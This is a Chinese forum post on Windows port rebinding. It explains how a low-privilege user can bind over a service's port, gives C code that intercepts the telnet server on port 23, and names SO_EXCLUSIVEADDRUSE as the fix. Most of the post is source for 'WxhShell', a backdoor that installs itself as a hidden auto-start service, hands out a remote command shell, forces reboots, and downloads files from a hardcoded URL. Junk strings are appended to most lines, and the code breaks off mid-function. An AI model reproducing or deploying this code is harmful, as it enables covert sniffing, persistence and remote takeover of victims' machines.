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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cip"9|"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,YEwz3$5u  
2X:OS/  
  saddr.sin_family = AF_INET; G*oqhep  
<BUKTRq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5:oteNc3  
td}%reH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1E1oy( \V  
#:UP'v=w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nfL-E:n=  
SxAZ2|/-  
  这意味着什么?意味着可以进行如下的攻击: PVNDvUce  
|a>W9Ym  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1FkS$ j8:  
D-v}@tS'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u\&F`esQ2  
T>$S&U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Wu{cE;t  
h(<2{%j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1N3qMm^  
=>y%Aj&4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Vo G`@^s  
bhqV2y*'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w &b?ze{  
2. t'!uwI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `vMrlKq  
AW\#)Em  
  #include AA&5wDMV>  
  #include :iKk"r,2P[  
  #include c9uln  
  #include    w1N-`S:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D^!x@I~:  
  int main() U?WS\Jji3!  
  { kuQ+MQHs  
  WORD wVersionRequested; ?'jRUfl   
  DWORD ret; q]^Q?r<g::  
  WSADATA wsaData; R9-Ps qmF  
  BOOL val; 2k}8`P;  
  SOCKADDR_IN saddr; DJ]GM|?  
  SOCKADDR_IN scaddr; oiKY2.yW  
  int err; v}>5!*  
  SOCKET s; 5nQxVwY  
  SOCKET sc; 5GHW~q!Zo\  
  int caddsize; 9 M<3m  
  HANDLE mt; 2Nau]y]=  
  DWORD tid;   A4|L;z/A[h  
  wVersionRequested = MAKEWORD( 2, 2 ); !#b8QER  
  err = WSAStartup( wVersionRequested, &wsaData ); @D3|Ak1  
  if ( err != 0 ) { k~|5TO  
  printf("error!WSAStartup failed!\n"); c]OK)i-{l  
  return -1; 8b!-2d:*  
  } U6sPJc<  
  saddr.sin_family = AF_INET; 2Jl$/W 3  
   V`,tu `6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :'+- %xUM  
)LRso>iOO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NZaMF.  
  saddr.sin_port = htons(23); \c .^^8r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '(.vB~m7*+  
  { gA/8Df\G:l  
  printf("error!socket failed!\n"); exfJm'R?n  
  return -1; VW%eB  
  } /bBFPrW  
  val = TRUE; N Dg*8i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F8T.}qI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K3xs=q]:@  
  { <aVfgVS  
  printf("error!setsockopt failed!\n"); Ug=)_~  
  return -1; "6} #65  
  } Rv^ \o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~a RK=i$F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :"utFBO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YS|Ve*t(L=  
;H%T5$:trP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !}$,) ~<+H  
  { Pd^v-}[  
  ret=GetLastError(); /CT g3Q"KQ  
  printf("error!bind failed!\n"); qEW3k),  
  return -1; ex}6(;7)O  
  } q n2X._`  
  listen(s,2); 5N'Z"C0  
  while(1) `& rt>Bk /  
  { X7~AqG  
  caddsize = sizeof(scaddr); _R ] qoUw;  
  //接受连接请求 due'c!wW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^7zXi xp  
  if(sc!=INVALID_SOCKET) D) my@W0,  
  { OY?x'h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hiM nU  
  if(mt==NULL) \A'tV/YAd  
  { pndAXO:v  
  printf("Thread Creat Failed!\n"); {YoK63b$  
  break; Bf-KCqC".  
  } <8_~60  
  } NZh\{!  
  CloseHandle(mt); $^XCI%DH  
  } m0(]%Kdw  
  closesocket(s); xD|CQo}:  
  WSACleanup(); [ {|868  
  return 0; |5h~&kA  
  }   1P17]j2C  
  DWORD WINAPI ClientThread(LPVOID lpParam) v[UrOT:  
  { )t#v55M  
  SOCKET ss = (SOCKET)lpParam; k9|8@3(h  
  SOCKET sc; ha -KfkPFE  
  unsigned char buf[4096]; " F3M  m  
  SOCKADDR_IN saddr; s;[OR  
  long num; W? ^ ?Kx  
  DWORD val; :Q@qR((&o  
  DWORD ret; %Uz 5Ve  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /eI]!a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m+ww  
  saddr.sin_family = AF_INET; n(}zq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PAUepO_  
  saddr.sin_port = htons(23); 8M DX()Bm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `YinhO:Z  
  { pm 4"Q!K  
  printf("error!socket failed!\n"); ff3HR+%M  
  return -1; w.2[Xx~  
  } (Q/Kp*a  
  val = 100; F}C.F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X-$\DXRIo  
  { `BA,_N|6  
  ret = GetLastError(); `7))[._  
  return -1; F ^mMyK  
  } km(Mv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [!k#au+#c  
  { |~y>R#u8pm  
  ret = GetLastError(); "iC*Eoz#.  
  return -1; b# RTHe&X  
  } @2>j4Sc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7Y?=ijXXx\  
  { >Wbt_%dKy  
  printf("error!socket connect failed!\n"); 9t1aR*b&@  
  closesocket(sc); uoIvFcb^  
  closesocket(ss); rphfW:  
  return -1; Z|h&Zd1z  
  } b;;C><  
  while(1) k^vsQ'TD  
  { =(-oQ<@v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,vnHEY&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j%V95M% $  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EC]b]'._  
  num = recv(ss,buf,4096,0); _eE hIQ9  
  if(num>0) .YT&V  
  send(sc,buf,num,0); >C1**GQ  
  else if(num==0) C]xKdPQj%  
  break; QQB\$[M!Z  
  num = recv(sc,buf,4096,0); /;[Zw8K7  
  if(num>0) @ z{E  
  send(ss,buf,num,0); e{~3&  
  else if(num==0) LWpM-eW1q  
  break; SG)hrd  
  } is2OJ,  
  closesocket(ss); vwlPFr Ll  
  closesocket(sc); ks=l Nz9  
  return 0 ; _I&];WM\  
  } "K7{y4  
 bK7j"  
lhyWlO  
========================================================== %B ,>6 `[  
KXAh0A?&+  
下边附上一个代码,,WXhSHELL bm &$wf  
[|XMR=\>  
========================================================== EqN_VT@  
+;H-0Q5  
#include "stdafx.h" m~LB0u$ac  
c']3N  
#include <stdio.h>  u Z(vf  
#include <string.h> 4FWb5b!A=  
#include <windows.h> )YB @6TiD  
#include <winsock2.h> )_|;h2I  
#include <winsvc.h> E>bK-jG  
#include <urlmon.h> (sXR@Ce$  
K KPQ[3g  
#pragma comment (lib, "Ws2_32.lib") Jvk!a~e  
#pragma comment (lib, "urlmon.lib") ~w&_l57  
2hlb$N-hk  
#define MAX_USER   100 // 最大客户端连接数 -*Voui  
#define BUF_SOCK   200 // sock buffer :r{;'[38  
#define KEY_BUFF   255 // 输入 buffer '_f]qNy  
cVx#dDdA  
#define REBOOT     0   // 重启 Wsz-#kc\[  
#define SHUTDOWN   1   // 关机 ) r8yt}  
lk$@8h$vS  
#define DEF_PORT   5000 // 监听端口 }# ~DX!Sj  
QO0#p1fom'  
#define REG_LEN     16   // 注册表键长度 l"I G;qO.  
#define SVC_LEN     80   // NT服务名长度 Qx B0I/ {  
eQiK\iDS  
// 从dll定义API $IM}d"/9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G(g.~|=EZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m0: IFE($  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D4@'C4kL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KA=cIm  
cZd9A(1"^  
// wxhshell配置信息 J=%(f1X<W  
struct WSCFG { n<}t\<LG^c  
  int ws_port;         // 监听端口 {Qe 7/ln!  
  char ws_passstr[REG_LEN]; // 口令 x&ngCB@O  
  int ws_autoins;       // 安装标记, 1=yes 0=no tX<. Ud  
  char ws_regname[REG_LEN]; // 注册表键名 i]>)'i  
  char ws_svcname[REG_LEN]; // 服务名 @v#]+9F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s+EJXox w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =54"9*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;tBc&LJ?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a2'si}'3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Ou|4WjnL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'aW}&!H M  
%yVboA1  
}; i9QL}d  
@@?P\jv~  
// default Wxhshell configuration lY.{v]i }  
struct WSCFG wscfg={DEF_PORT, LD.^.4{c:  
    "xuhuanlingzhe", 9d\B*OU  
    1, QR.]?t;1  
    "Wxhshell", L.%N   
    "Wxhshell", ^lt;K{  
            "WxhShell Service", +d$l1j  
    "Wrsky Windows CmdShell Service", -0 e&>H%  
    "Please Input Your Password: ", %[ Z[  
  1, X-Yy1"6m1  
  "http://www.wrsky.com/wxhshell.exe", `egyk)"aM  
  "Wxhshell.exe" &s+F+8"P+  
    }; /]_a\x5Ss  
;;*'<\lP.j  
// 消息定义模块 3U_,4qf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =:4vRq [  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "K!9^!4&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nB8JdM2h{  
char *msg_ws_ext="\n\rExit."; )\!-n]+A  
char *msg_ws_end="\n\rQuit."; "TLY:V  
char *msg_ws_boot="\n\rReboot..."; S7I8BS[*v  
char *msg_ws_poff="\n\rShutdown..."; qv+8wJ((  
char *msg_ws_down="\n\rSave to "; cNd;qO0$  
,{pC1A@s  
char *msg_ws_err="\n\rErr!"; MPn 6sf9M  
char *msg_ws_ok="\n\rOK!"; ranlbxp2l  
miq"3  
char ExeFile[MAX_PATH]; 7jf%-X  
int nUser = 0; kOQq+_Y  
HANDLE handles[MAX_USER]; f19~B[a  
int OsIsNt; ftw@nQNU  
aS7%x>.A!  
SERVICE_STATUS       serviceStatus; -kv'C6gB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q%RPA e  
5@:c6(5$  
// 函数声明 T VuDK  
int Install(void); -9L [eYn  
int Uninstall(void); +RuPfw{z  
int DownloadFile(char *sURL, SOCKET wsh); J[?7`6\M  
int Boot(int flag); Gx$rk<;ZW  
void HideProc(void); FTA[O.tiG  
int GetOsVer(void); gmU0/z3&  
int Wxhshell(SOCKET wsl); v4YY6? 4  
void TalkWithClient(void *cs); ]t23qA@^2  
int CmdShell(SOCKET sock); o|FY-+  
int StartFromService(void); 6pKb!JJ  
int StartWxhshell(LPSTR lpCmdLine); Z6`oGFq  
%)|_&Rh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CQ(;L{}  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  =Y0>b4  
tR;? o,T  
// 数据结构和表定义 VgoN=S  
SERVICE_TABLE_ENTRY DispatchTable[] = Z Rjqjx  
{ U'Xw'?Uj  
{wscfg.ws_svcname, NTServiceMain}, fuwv,[m  
{NULL, NULL} gA&+<SK(  
}; YTtuR`  
] VN4;R  
// 自我安装 #4iiY6  
int Install(void) e/h2E dY  
{ )/:r $n7  
  char svExeFile[MAX_PATH]; WC?}a^ 8  
  HKEY key; yXpU)|o  
  strcpy(svExeFile,ExeFile); q*h1=H52  
T{L{<+9%  
// 如果是win9x系统,修改注册表设为自启动 ~(|~Ze>  
if(!OsIsNt) { XyS|7#o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e-taBrl;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p PF]&:&-b  
  RegCloseKey(key); mp{r$tc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }-e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LEUD6 M+~t  
  RegCloseKey(key); V&' :S{i  
  return 0; ]/_GHG9  
    } [\j@_YYd  
  } ${/"u3a_  
} %/^k r ZD  
else { bwo{ Lw~  
""dX4^gtU  
// 如果是NT以上系统,安装为系统服务 (,J`!Y hS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R/yOy ^<  
if (schSCManager!=0) Qe~2'Hw#9  
{ 4-?'gN_  
  SC_HANDLE schService = CreateService /$IF!q+C  
  ( @;-6qZ  
  schSCManager, 0P5!fXs*  
  wscfg.ws_svcname, gAx8r-` `  
  wscfg.ws_svcdisp, rQncW~  
  SERVICE_ALL_ACCESS, 2Qoj>Wy{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yrDWIU(8;6  
  SERVICE_AUTO_START, ~~.v*C[  
  SERVICE_ERROR_NORMAL, No\H QQ  
  svExeFile, {(DD~~)D  
  NULL, [n`SXBi+n  
  NULL, S;o U'KOY  
  NULL, I<w`+<o(  
  NULL, !U,^+"l'GP  
  NULL A%VBBvk  
  ); }T?MWcG4  
  if (schService!=0) ]~,V(K  
  { ^J8sR4p#  
  CloseServiceHandle(schService); 62BJ;/ ]  
  CloseServiceHandle(schSCManager); `.# l_-U{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L`i#yXR  
  strcat(svExeFile,wscfg.ws_svcname); |~! R5|Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 67I6]3[ Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6 ~b~[gA  
  RegCloseKey(key); &FWPb#  
  return 0; x M1>kbo|  
    } D_6GzgZ  
  } 8s4y7%,|  
  CloseServiceHandle(schSCManager); Yx_[vLm  
} *yuw8  
} S7Xr~5>X  
i<g|+}I  
return 1; 9Z0(e!b4S  
} >4:W:;R  
@!\ g+z_"  
// 自我卸载 Ejdw"P"  
int Uninstall(void) ,L+tm>I  
{ 1#AdEd[  
  HKEY key; , #yE#8  
s,TKC67.%+  
if(!OsIsNt) { {~ yj]+Im  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]McLace&  
  RegDeleteValue(key,wscfg.ws_regname); 4z-sR/d  
  RegCloseKey(key); \s2hep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pti`q )  
  RegDeleteValue(key,wscfg.ws_regname); QD LXfl/  
  RegCloseKey(key); ce{GpmW  
  return 0; ^4Ra$<  
  } 6Q,-ZM=Z_p  
} 1<]g7W  
} =R#K` H66j  
else { 9?r|Y@xh]  
f>JuxX\G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wVBY^TE  
if (schSCManager!=0) )5lo^Qb  
{ nnmn@t(%r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Ia3yi#  
  if (schService!=0) b r)oSw  
  { [ADr _  
  if(DeleteService(schService)!=0) { S .rT5A[  
  CloseServiceHandle(schService); W|@EKE.k  
  CloseServiceHandle(schSCManager); : j&M&+  
  return 0; %R5APMg1  
  } @.fuR#  
  CloseServiceHandle(schService); vq *N  
  } euM7> $`  
  CloseServiceHandle(schSCManager); SN|EWe^  
} BQv+9(:fQB  
} w[z^B&  
gZgb-$b  
return 1; zp r`  
} #NVtZs!V/  
~oI7TP  
// 从指定url下载文件 W-%oj.BMA  
int DownloadFile(char *sURL, SOCKET wsh) ~#iRh6 ^98  
{ _3h(R`VdWO  
  HRESULT hr; !*.mcIQT  
char seps[]= "/"; xA]CtB*o7  
char *token; qIK"@i[ uq  
char *file; L,.Ae i9  
char myURL[MAX_PATH]; 7/NXb  
char myFILE[MAX_PATH]; C$\|eC j  
l2>G +t(,  
strcpy(myURL,sURL); aQwcPy|1R  
  token=strtok(myURL,seps); ^AMcZ6!\  
  while(token!=NULL) $<2r;'?0D  
  { ivC1=+  
    file=token; H r?G_L  
  token=strtok(NULL,seps); +vaz gO<u  
  } CQ2{5  
5+b[-Daz  
GetCurrentDirectory(MAX_PATH,myFILE); =:[Jz1M5  
strcat(myFILE, "\\"); ?ltTJ(Po  
strcat(myFILE, file); )I{41/_YA  
  send(wsh,myFILE,strlen(myFILE),0); U?JZ23>bbw  
send(wsh,"...",3,0); Oi&.pY:X-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]uX'[Z}t  
  if(hr==S_OK) ed4:r/Dpo  
return 0; Y$!K<c k  
else U .hV1  
return 1; I\PhgFt@O  
uQWJ7Xm  
} Qn(e[ C6\  
W$ #FM$U  
// 系统电源模块 ?1i>b->  
int Boot(int flag) :j9{n ,F  
{ r]Bwp i%  
  HANDLE hToken; VdQ}G!d  
  TOKEN_PRIVILEGES tkp; \v{tK;  
EcrM`E#kaZ  
  if(OsIsNt) { rA&|!1q"B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s/UIo ^m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Tluxt71  
    tkp.PrivilegeCount = 1; X|t?{.p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CFAz/x@%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T j9;".  
if(flag==REBOOT) { JLm0[1Lzd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ChF:N0w? p  
  return 0; 048BQ  
} Cq;t;qN,nQ  
else { `%p}.X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^;n,C+  
  return 0; #ebT$hf30  
} pbKDtqSn z  
  } L)&?$V  
  else { e4u$+  
if(flag==REBOOT) { ~ z*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VS@o_fUx)  
  return 0; /=>z|?z3  
} %h 6?/  
else { /ZHuT=j1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D{I^_~-\5  
  return 0; dbSIC[q  
} S:/;|Dg  
} {EGiGwpf  
?~uTbNR  
return 1; RzQ1Wq  
} PF*<_p"j  
dN\Byl(6  
// win9x进程隐藏模块 frbKi _1  
void HideProc(void) {\j h? P|  
{ JDfkm+}uY  
I0P)DR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~'KymarPU  
  if ( hKernel != NULL ) FFb`4.  
  { yjvzA|(YC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q]YPDdR#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &Z/aM?  
    FreeLibrary(hKernel); )dgXS//Y  
  } )Q9m,/F  
K#H}=Y A  
return; `4__X;  
} ~Wjm"|c  
wv<D%nF2|  
// 获取操作系统版本 /+pbO-rW*  
int GetOsVer(void) _'0HkT{I  
{ :TJv<NZi'  
  OSVERSIONINFO winfo; =`[08  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); no`c[XY  
  GetVersionEx(&winfo); 3P~I' FQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -;&aU;k  
  return 1; _}R?&yO  
  else v]\io#   
  return 0; b|U&{I>TH  
} fu'iG7U M  
]4-lrI1#  
// 客户端句柄模块 kmPK |R  
int Wxhshell(SOCKET wsl) /2pf*\u  
{ 8-5MGh0L  
  SOCKET wsh; |>@Gbgw^M  
  struct sockaddr_in client; 'uS!rKkQlu  
  DWORD myID; k v1q \  
*#-X0}'s  
  while(nUser<MAX_USER) P1)f-:;  
{ m6tbN/EJZ  
  int nSize=sizeof(client); j9Ptd$Uj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lb ol+O65  
  if(wsh==INVALID_SOCKET) return 1; X5UcemO  
N|K,{ p^li  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QEK,mc3  
if(handles[nUser]==0) cZI )lX  
  closesocket(wsh); lMz5))Rr  
else WV}<6r$e  
  nUser++; }VxbO8\b(  
  } Dw{rjK\TT'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L&M6s f$N  
rStfluPL  
  return 0; nlJ~Q_E(  
} ^N}zePy0  
/3->TS  
// 关闭 socket :Y/i%#*1  
void CloseIt(SOCKET wsh) .r[b!o^VR  
{ c=]qUhnH  
closesocket(wsh); T.O^40y  
nUser--; P5/K?I~/So  
ExitThread(0); ?#?[6t  
} }YJ(|z""  
4<._)_m  
// 客户端请求句柄 H?98^y7  
void TalkWithClient(void *cs) Gc2sY 0  
{ Rr ! PU  
3|zqEGT*  
  SOCKET wsh=(SOCKET)cs; dK'?<w$  
  char pwd[SVC_LEN]; 7uG@ hL36  
  char cmd[KEY_BUFF]; C{>@b:]p  
char chr[1]; TY~8`+bJ  
int i,j; .|Y2'TWQ  
U ^1Xc#Ff  
  while (nUser < MAX_USER) { pFi.?|6"  
9n{tbabJ  
if(wscfg.ws_passstr) { (\m4o   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iTsmUq<b]l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^|y6oj  
  //ZeroMemory(pwd,KEY_BUFF); h- .V[]<  
      i=0; 2|]$hjs  
  while(i<SVC_LEN) { qS<a5`EA  
f!hQ"1[  
  // 设置超时 ?8[,0l:|  
  fd_set FdRead; p\I,P2on  
  struct timeval TimeOut; edld(/wu~  
  FD_ZERO(&FdRead); )\!_`ob  
  FD_SET(wsh,&FdRead); e3w4@V`  
  TimeOut.tv_sec=8; P5s'cPX  
  TimeOut.tv_usec=0; 0,+RF "R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nEu,1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @igGfYy  
MGpP'G:v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JU+Uzp   
  pwd=chr[0]; 5W"&$6vj  
  if(chr[0]==0xd || chr[0]==0xa) { O="# yE)  
  pwd=0; &LM@_P"T  
  break; .),ql_sXr  
  } rX*4$d0  
  i++; = Q|_v}  
    } rFJ(t7\9h  
$YuVM  
  // 如果是非法用户,关闭 socket 4i0~t~vDpr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @+II@[ _lT  
} 1{@f:~v?  
ozN#LIM>P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,ErJUv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0'u2xe  
vi?{H*H4c  
while(1) { "@: b'm  
iaXpe]w$n  
  ZeroMemory(cmd,KEY_BUFF); J6pQ){;6  
.ko8`J%%M  
      // 自动支持客户端 telnet标准   9x;CJhX  
  j=0; heQ<%NIA"  
  while(j<KEY_BUFF) { H]e%8w))0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~=HrD?-99p  
  cmd[j]=chr[0]; !DsKa6Zj  
  if(chr[0]==0xa || chr[0]==0xd) { 5J!ncLNm{  
  cmd[j]=0; FPj j1U`C  
  break; WrvSYqN  
  } (p4|,\+  
  j++; QC@nRy8%  
    } "fWAp*nI3t  
/C)mx#h]  
  // 下载文件 CZ2&9Vb9I  
  if(strstr(cmd,"http://")) { .b'o}DLa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qMy>: ,)Z  
  if(DownloadFile(cmd,wsh)) v:otR%yt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gvg)@VNr  
  else 'iy &%?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wX(h]X"q  
  } ^R\et.W`s  
  else { Ay?;0w0  
R.n:W;^`  
    switch(cmd[0]) { E"LSM]^^<f  
  U~{fbS3,  
  // 帮助 OcR6\t'  
  case '?': { J:6wFmU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {}F?eI  
    break; ,S"a ,}8  
  } {&tbp Bl#  
  // 安装 TR2X' `:O  
  case 'i': { ?-"xP'#  
    if(Install()) /8V#6d_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cEkf9:_La  
    else tK9_]663  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3;fuz Kk@b  
    break; osKM3}Sb  
    } 8?ig/HSt2  
  // 卸载 =HJ)!(  
  case 'r': { e[txJ*SuO  
    if(Uninstall()) c\2+f7o@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `-)!4oJ]  
    else l2>ka~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ Iin|  
    break; Vc}#Ok  
    } Jjt'R`t%t  
  // 显示 wxhshell 所在路径 dz^l6<a"n  
  case 'p': { 4;G:.k!K  
    char svExeFile[MAX_PATH]; F8e]sa$K\  
    strcpy(svExeFile,"\n\r"); /I[?TsXp  
      strcat(svExeFile,ExeFile); T KpX]H`  
        send(wsh,svExeFile,strlen(svExeFile),0); <b0;Nf   
    break; pJM~'tlHV  
    } nAc02lJh|  
  // 重启 t*<@>]k  
  case 'b': { JZ#O"rF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ')pXQ  
    if(Boot(REBOOT)) !<!5;f8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :W'Yt9v)  
    else { b21c} rI3  
    closesocket(wsh); bn`1JI@S4  
    ExitThread(0); 1mT3$Z  
    } H,r>@Y  
    break; F:"CaDk  
    } sflH{!;p  
  // 关机 FBit /0  
